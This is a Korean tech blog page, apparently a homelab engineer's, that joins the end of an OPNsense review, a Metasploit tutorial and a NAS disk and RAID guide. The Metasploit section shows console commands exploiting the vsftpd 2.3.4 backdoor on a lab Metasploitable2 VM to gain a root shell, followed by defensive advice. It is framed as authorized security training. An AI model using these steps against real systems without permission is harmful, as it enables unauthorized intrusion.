    관리 편의성 (Management) DIY 및 자체 트러블슈팅에 익숙하고 시간 투자가 가능할 때 전문적인 기술 지원과 간편한 관리 인터페이스가 중요할 때
    성능 요구사항 (Performance) 중소규모 홈랩 또는 일반적인 네트워크 트래픽 처리 대규모 네트워크, 높은 처리량, 다수의 VPN 연결 등 고성능 요구 시
    안정성 (Stability) 커뮤니티 기반의 정보와 자체 검증을 선호할 때 기업 수준의 검증된 안정성과 벤더 지원이 필수적일 때

    결론적으로 말씀드리면, 순수하게 오픈소스 솔루션의 자유도와 강력한 기능을 홈랩에서 저렴하게 구축하고 싶다면 OPNsense는 여전히 매력적인 선택지입니다. 웬만한 네트워크 요구사항은 충분히 커버하고도 남죠. 하지만 복잡한 환경에서 상용 솔루션에 준하는 안정성과 전문적인 지원이 필요하거나, 강력한 성능을 요구하는 대규모 네트워크를 운영할 계획이라면 마이그레이션을 진지하게 검토해볼 시점이라고 생각합니다. 저도 아직 고민 중이지만, 다음 단계에 대해서는 꾸준히 실험하고 또 공유해 드릴 예정입니다.

    OPNsense, pfSense, Sophos Home 방화벽 솔루션 비교 인포그래픽

    OPNsense와 pfSense, Sophos Home 등 다른 방화벽 솔루션의 주요 특징을 비교하는 인포그래픽입니다.

    마무리하며

    13년차 인프라 엔지니어로서 OPNsense와의 1년은 저에게 많은 것을 알려주었습니다. 홈랩을 운영하면서 마주하는 수많은 문제들을 직접 해결하고, 새로운 기술을 실험하며 성장하는 과정은 언제나 즐겁거든요. OPNsense는 그런 여정에 훌륭한 동반자였습니다. 다음 글에서는 마이그레이션을 결정하게 된다면 그 과정이나, 다른 방화벽 솔루션을 직접 설치하고 테스트해본 후기를 들려드릴 수 있을 것 같네요. 긴 글 읽어주셔서 감사합니다! 궁금한 점이 있다면 언제든지 댓글로 남겨주세요. 제가 아는 선에서 최대한 도움을 드리겠습니다. 😊

  • [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    목차

    [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    안녕하세요, 13년차 서버실 지킴이입니다. 인프라 엔지니어로 일하다 보면 항상 이런 고민을 하거든요. ‘내가 구축하고 관리하는 시스템은 과연 안전할까?’ 말로만 보안을 외치는 게 아니라, 실제 공격자들이 어떤 방식으로 시스템의 약점을 파고드는지 직접 경험해봐야 방어 전략도 제대로 세울 수 있잖아요? 그래서 오늘은 Metasploit(메타스플로잇) 모의 해킹 프레임워크를 활용해서 실제 공격 기법을 분석하고, 이를 통해 우리 시스템의 보안을 어떻게 강화할 수 있을지 이야기해보려 합니다.

    물론, 여기서 한 가지 짚고 넘어가야 할 점이 있습니다. ⚠️ 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. 저는 홈랩에서 다양한 기술을 직접 실험해보면서 얻은 경험들을 공유하는 것이니, 여러분도 반드시 허가된 환경에서만 테스트하시길 강력히 권고합니다. 저도 처음엔 멋모르고 이것저것 해보다가 아찔했던 경험이 있거든요. ㅎㅎ

    Metasploit 프레임워크 주요 구성 요소 및 워크플로우 다이어그램

    Metasploit 프레임워크는 다양한 모듈로 구성되어 모의 해킹 과정을 체계적으로 지원합니다.

    Metasploit 프레임워크란? 모의 해킹의 첫걸음

    Metasploit Framework(메타스플로잇 프레임워크, MSF)는 쉽게 말해 ‘모의 해킹 도구들의 종합 선물 세트’라고 보시면 됩니다. 수많은 취약점(Vulnerability)들을 공격하는 익스플로잇(Exploit) 코드와, 성공적으로 시스템에 침투했을 때 실행할 수 있는 다양한 페이로드(Payload)들을 모아놓은 오픈소스 프로젝트죠. 보안 전문가들이 Penetration Test(페네트레이션 테스트, 침투 테스트)를 수행할 때 가장 많이 활용하는 도구 중 하나입니다. 저도 제 홈랩의 가상 머신들을 대상으로 주기적으로 Metasploit을 돌려보면서 ‘아, 이렇게 뚫릴 수도 있겠구나’ 하고 깜짝 놀랄 때가 많습니다.

    Metasploit은 크게 다음과 같은 모듈들로 구성되어 있어요.

    • Exploits (익스플로잇): 특정 취약점을 공격해서 시스템에 침투하는 코드입니다. 예를 들어, 웹 서버의 특정 버전에서 발견된 버그를 이용해 원격 코드 실행(Remote Code Execution, RCE)을 시도하는 거죠.
    • Payloads (페이로드): 익스플로잇이 성공했을 때 대상 시스템에서 실행되는 악성 코드입니다. 쉘(Shell)을 얻거나, 백도어를 설치하거나, 시스템 정보를 빼내오는 등 다양한 목적을 가집니다. 대표적으로 Meterpreter(미터프리터)가 있는데, 이건 정말 강력한 후속 작업 도구더라고요.
    • Auxiliary (보조 모듈): 직접적인 공격보다는 정보 수집(Scanning), 퍼징(Fuzzing) 등 다양한 보조 작업을 수행하는 모듈입니다. Nmap으로 포트 스캔하는 것처럼, Metasploit 내에서도 다양한 스캔 기능을 제공해요.
    • Post (포스트 모듈): 침투에 성공한 후, 추가적인 정보 수집이나 권한 상승(Privilege Escalation) 등 후속 작업을 수행하는 모듈입니다.

    이 모듈들을 어떻게 조합하느냐에 따라 다양한 모의 해킹 시나리오를 만들어볼 수 있습니다. 아래 표에서 각 모듈의 역할을 좀 더 자세히 비교해볼게요.

    모듈 유형 주요 역할 예시 기능 실전 활용
    Exploit 취약점 공격 및 침투 원격 코드 실행, 버퍼 오버플로우 대상 시스템에 초기 접근 권한 획득
    Payload 침투 후 실행될 코드 쉘 연결, Meterpreter 세션, 데이터 유출 침투 성공 후 원하는 작업 수행
    Auxiliary 정보 수집 및 보조 작업 포트 스캔, 서비스 버전 확인, 로그인 무작위 대입 공격 전 대상 시스템 정보 파악
    Post 침투 후 추가 작업 권한 상승, 시스템 정보 수집, 흔적 삭제 초기 침투 후 시스템 내부 탐색 및 제어

    실전 구현: 가상 환경에서 취약점 공격 시연하기

    자, 이제 직접 Metasploit을 활용해서 취약점을 분석해보겠습니다. 저는 Kali Linux(칼리 리눅스) 환경에 Metasploit이 설치되어 있다고 가정하고, 제 홈랩에 있는 Metasploitable2(메타스플로이터블2)라는 고의적으로 취약하게 만들어진 가상 머신을 대상으로 테스트할 거예요. 이 Metasploitable2는 다양한 옛날 취약점들이 그대로 노출되어 있어서 학습용으로 정말 좋거든요.

    1. Metasploit 콘솔 실행

    먼저 터미널에서 msfconsole 명령어로 Metasploit 프레임워크 콘솔을 실행합니다. 처음 실행하면 데이터베이스 초기화 등으로 시간이 좀 걸릴 수 있어요. 저는 늘 이 로고를 보면서 ‘오늘도 뭔가 새로운 걸 배우겠구나’ 하고 기대하곤 합니다.

    
# msfconsole

# _______ _________ _______  _______ _________ _______  _______ 
# (  ___  )\__   __/(  ____ \(  ___  )\__   __/(  ____ \(  ___  )
# | (   ) |   ) (   | (    \/| (   ) |   ) (   | (    \/| (   ) |
# | |   | |   | |   | (__    | |   | |   | |   | (__    | |   | |
# | |   | |   | |   |  __)   | |   | |   | |   |  __)   | |   | |
# | |   | |   | |   | (      | |   | |   | |   | (      | |   | |
# | (___) |___) (___| (____/\| (___) |___) (___| (____/\| (___) |
# (_______)_______/(_______/(_______)_______/(_______/(_______)_
# 
#       =[ metasploit v6.3.36-dev                          ]
# + -- --=[ 2419 exploits - 1205 auxiliary - 404 post       ]
# + -- --=[ 671 payloads - 45 encoders - 10 nops           ]
# + -- --=[ 8 evasion                                      ]

# msf6 >

    2. 취약점 검색 및 익스플로잇 선택

    Metasploitable2에는 vsftpd 2.3.4 버전의 백도어 취약점이 존재해요. 이 취약점을 이용해서 침투를 시도해보겠습니다. 먼저 search 명령어로 관련 익스플로잇을 찾아봅니다.

    
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank    Check  Description
   --  ----
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution


msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

    use 명령어로 해당 익스플로잇을 선택하면 프롬프트가 바뀌는 걸 볼 수 있죠? 이제 이 익스플로잇에 필요한 옵션들을 설정해야 합니다.

    Metasploit 콘솔에서 vsftpd 익스플로잇 검색 및 옵션 설정 화면

    Metasploit 콘솔에서 익스플로잇을 선택하고 옵션을 설정하는 과정입니다.

    3. 공격 옵션 설정하기

    show options 명령어로 어떤 옵션들을 설정해야 하는지 확인합니다. 여기서 가장 중요한 건 RHOSTS(대상 IP 주소)와 LHOST(내 공격자 IP 주소)입니다.

    
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100  # Metasploitable2 IP 주소
RHOSTS => 192.168.1.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.50   # Kali Linux IP 주소
LHOST => 192.168.1.50
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

    여기서 RHOSTS(원격 호스트)는 공격 대상 시스템의 IP 주소이고, LHOST(로컬 호스트)는 공격을 시도하는 Kali Linux 시스템의 IP 주소입니다. 저도 처음에는 이걸 헷갈려서 한참 삽질했었는데, 쉽게 생각해서 ‘공격받을 놈’은 RHOSTS, ‘공격할 놈(나)’은 LHOST라고 기억하시면 편할 거예요.

    4. 익스플로잇 실행 및 결과 확인

    모든 옵션 설정이 끝났으면 exploit 또는 run 명령어로 공격을 실행합니다. 성공하면 Command Shell Session(명령 쉘 세션)을 얻게 됩니다.

    
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.100:21 - Backdoored VSFTPD v2.3.4 found
[*] 192.168.1.100:21 - CMD: Trying command: id
[*] 192.168.1.100:21 - CMD: Command output: uid=0(root) gid=0(root) groups=0(root)
[+] 192.168.1.100:21 - CMD: Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:62000) at 2023-10-26 10:30:00 KST

# command shell session 1
id
whoami
pwd
ls -al
exit

    uid=0(root) 보이시나요? 이건 공격 대상 시스템에서 root(루트) 권한을 얻었다는 뜻입니다. 실제 환경이라면 정말 심각한 상황이죠. 이런 방식으로 공격이 성공하면, 공격자는 시스템의 모든 권한을 가지고 원하는 작업을 수행할 수 있습니다.

    ⚠️ 주의사항 및 트러블슈팅 팁

    제가 Metasploit을 사용하면서 겪었던 몇 가지 주의사항과 트러블슈팅 팁을 공유합니다.

    • 네트워크 설정: 가상 머신(Kali Linux, Metasploitable2) 간의 네트워크 설정은 정말 중요합니다. NAT(Network Address Translation) 모드보다는 Bridged(브리지) 모드로 설정해서 서로 같은 네트워크 대역에 있도록 하는 게 테스트하기 편하더라고요. IP 주소가 서로 통신 가능한지 ping 명령어로 꼭 확인하세요.
    • 방화벽 확인: 대상 시스템이나 공격자 시스템의 방화벽이 특정 포트를 막고 있지 않은지 확인해야 합니다. 특히 페이로드가 리버스 쉘(Reverse Shell)로 동작할 경우, 공격자(LHOST) 시스템의 특정 포트가 열려 있어야 대상 시스템에서 연결이 올 수 있습니다.
    • 익스플로잇 버전 호환성: 세상의 모든 취약점을 공격할 수 있는 만능 익스플로잇은 없습니다. 특정 익스플로잇은 특정 소프트웨어의 특정 버전에서만 동작해요. 따라서 정보 수집 단계에서 대상 시스템의 OS, 서비스, 버전 정보를 정확히 파악하는 것이 중요합니다. nmap -sV [대상 IP] 같은 명령어로 서비스 버전을 확인하는 습관을 들이세요.
    • 시스템 리소스: Metasploit은 꽤 많은 리소스를 사용합니다. 특히 Kali Linux를 VM으로 운영한다면, 충분한 RAM(최소 4GB)과 CPU 코어를 할당해주는 게 좋아요. 그렇지 않으면 콘솔이 버벅거리거나 익스플로잇 실행 중 멈추는 불상사가 생길 수 있습니다.

    검증 및 결과 분석: 방어 전략 수립

    이렇게 Metasploit을 통해 Command Shell을 얻는 과정을 경험하면, ‘아, 내 시스템의 이 부분이 이렇게 취약했구나’ 하고 직접적으로 느낄 수 있습니다. 제가 얻은 쉘 세션은 일종의 ‘발견된 취약점 보고서’ 같은 거죠. 단순히 ‘취약점이 있다’는 경고를 받는 것보다, 직접 침투에 성공하는 경험은 훨씬 강력한 동기 부여가 됩니다.

    이 결과는 다음과 같은 방어 전략을 세우는 데 활용될 수 있습니다.

    • 취약점 패치 및 업데이트: 이번 시나리오에서는 vsftpd 2.3.4의 백도어 취약점을 이용했는데, 이는 이미 오래전에 알려진 취약점입니다. 모든 소프트웨어는 최신 버전으로 유지하고, 보안 패치(Security Patch)를 즉시 적용하는 것이 가장 기본적인 방어입니다.
    • 불필요한 서비스 중지: 운영 중인 서버에서 사용하지 않는 서비스(FTP, Telnet 등)는 과감히 중지하거나 삭제해야 합니다. 공격 표면(Attack Surface)을 최소화하는 것이 중요하거든요.
    • 강력한 접근 제어: 관리자 계정의 비밀번호는 복잡하게 설정하고, SSH(Secure Shell)나 VPN(Virtual Private Network)을 통한 안전한 접근 방식을 강제해야 합니다.
    • 보안 솔루션 도입: IDS/IPS(침입 탐지/방지 시스템)나 WAF(웹 방화벽) 같은 보안 솔루션을 도입하여 비정상적인 트래픽이나 공격 시도를 탐지하고 차단하는 것도 중요합니다.
    모의 해킹 후 시스템 방어 전략 수립 인포그래픽

    모의 해킹으로 발견된 취약점은 시스템 방어 전략을 강화하는 중요한 밑거름이 됩니다.

    마무리하며: Metasploit, 방패를 벼리는 망치

    오늘은 Metasploit 모의 해킹 프레임워크를 활용해서 가상 환경에서 취약점을 분석하고, 실제 공격 기법을 이해하는 과정을 살펴봤습니다. 13년차 인프라 엔지니어로서 제가 늘 강조하는 건 ‘공격자의 시야’를 가져야 한다는 겁니다. 그래야 내 시스템의 약점을 제대로 파악하고, 강력한 방어책을 세울 수 있거든요. Metasploit은 그런 시야를 제공하는 아주 훌륭한 도구라고 생각합니다.

    이 글을 통해 Metasploit이 단순히 ‘해킹 도구’가 아니라, ‘보안을 강화하기 위한 강력한 학습 및 검증 도구’라는 점을 여러분이 느끼셨으면 좋겠습니다. 만약 여러분의 시스템에 어떤 취약점이 있는지 직접 파악하고 싶다면, 반드시 허가된 환경에서 Metasploit을 활용해보세요. 그 과정에서 얻는 인사이트는 어떤 보안 서적보다 값질 겁니다.

    다음 글에서는 Metasploit으로 찾은 취약점을 어떻게 막을지, 그리고 IDS/IPS(침입 탐지/방지 시스템)의 로그를 분석하여 공격을 탐지하는 방법에 대해 더 구체적으로 다뤄보겠습니다. 궁금한 점이 있다면 언제든지 댓글로 남겨주세요!

  • [Nas] NAS 디스크 선택 완벽 가이드: WD Red vs IronWolf 비교, RAID 구성까지

    [Nas] NAS 디스크 선택 완벽 가이드: WD Red vs IronWolf 비교, RAID 구성까지

    목차

    NAS 디스크 선택 완벽 가이드: WD Red vs IronWolf 비교, RAID 구성까지

    NAS를 구성할 때 가장 중요한 선택 중 하나는 역시 디스크죠. 일반 PC용 HDD를 꽂아도 동작하지만, 24시간 연속 가동 환경에서는 NAS 전용 드라이브를 써야 훨씬 안정적입니다. 이 글에서는 NAS 디스크를 선택할 때 꼭 알아야 할 핵심 요소들을 정리해드릴게요.

    NAS 디스크란?

    NAS 전용 드라이브는 일반 HDD와 달리 24/7 연속 가동, 진동 보정(TLER/IVT), 낮은 전력 소비를 고려해서 만든 제품이에요. 대표 제품으로는 WD Red/Red Plus/Red Pro, Seagate IronWolf/IronWolf Pro 등이 있습니다.

    주요 NAS 드라이브 비교

    제품 용량 범위 RPM 에러 복구 제한 권장 베이 수 워크로드 등급(연간) 적합 용도
    WD Red Plus 1TB ~ 14TB 5400 TLER 1~8 베이 180TB 가정용, 소규모 사무실
    WD Red Pro 2TB ~ 24TB 7200 TLER 1~24 베이 300TB 중소기업, 미디어 서버
    Seagate IronWolf 1TB ~ 20TB 5400~7200 IVT/ERC 1~8 베이 180TB 가정용, 소규모 사무실
    Seagate IronWolf Pro 2TB ~ 24TB 7200 IVT/ERC 1~24 베이 300TB 중소기업, 엔터프라이즈
    일반 데스크탑 HDD 다양 5400~7200 미지원 – 55TB 이하 NAS 비권장

    RAID 구성별 디스크 준비 명령어

    Synology NAS 또는 Linux 기반 NAS에서 디스크 상태를 확인하고 RAID를 구성하는 방법입니다.

    디스크 상태 확인 (Linux)

    # 연결된 디스크 목록 확인
lsblk -d -o NAME,SIZE,ROTA,MODEL

# SMART 상태 확인 (smartmontools 필요)
sudo smartctl -a /dev/sda

# 전체 디스크 헬스 요약
sudo smartctl -H /dev/sda

    mdadm으로 소프트웨어 RAID 5 구성 (Linux)

    # RAID 5 어레이 생성 (디스크 3개: sdb, sdc, sdd)
sudo mdadm --create /dev/md0 \
  --level=5 \
  --raid-devices=3 \
  /dev/sdb /dev/sdc /dev/sdd

# RAID 상태 확인
cat /proc/mdstat

# mdadm 설정 저장
sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf

# 파일시스템 생성 및 마운트
sudo mkfs.ext4 /dev/md0
sudo mkdir -p /mnt/nas-array
sudo mount /dev/md0 /mnt/nas-array

    RAID 레벨 선택 기준

    RAID 레벨 최소 디스크 수 장애 허용 디스크 읽기 성능 쓰기 성능 용량 효율 추천 상황
    RAID 0 2 0 매우 빠름 매우 빠름 100% 백업 불필요한 임시 스토리지
    RAID 1 2 1 빠름 보통 50% 중요 데이터, 소규모 NAS
    RAID 5 3 1 빠름 보통 (n-1)/n 범용 NAS, 용량 효율 중시
    RAID 6 4 2 빠름 느림 (n-2)/n 고용량, 이중 장애 대비
    RAID 10 4 각 미러당 1 매우 빠름 빠름 50% 성능+안정성 동시 필요 시

    디스크 교체 및 핫스왑 설정

    장애 디스크를 교체한 뒤 RAID 어레이를 복구하는 과정도 미리 알아두면 실제 상황에서 당황하지 않아요.

    # 장애 디스크 제거 (예: /dev/sdb가 장애)
sudo mdadm /dev/md0 --remove /dev/sdb

# 새 디스크 추가
sudo mdadm /dev/md0 --add /dev/sde

# 리빌드 진행 상황 모니터링
watch -n 5 cat /proc/mdstat

    마무리

    NAS 디스크 선택은 단순히 용량만 보는 게 아니라, 사용 환경(베이 수, 접속 인원, 워크로드)에 맞는 제품군과 RAID 레벨을 함께 고려해야 해요. 가정용이라면 WD Red Plus나 IronWolf로 충분하고, 소규모 사무실이나 미디어 서버 용도라면 Pro 라인업을 추천드립니다. 무엇보다 RAID는 백업을 대체하지 않는다는 점, 꼭 기억해주세요!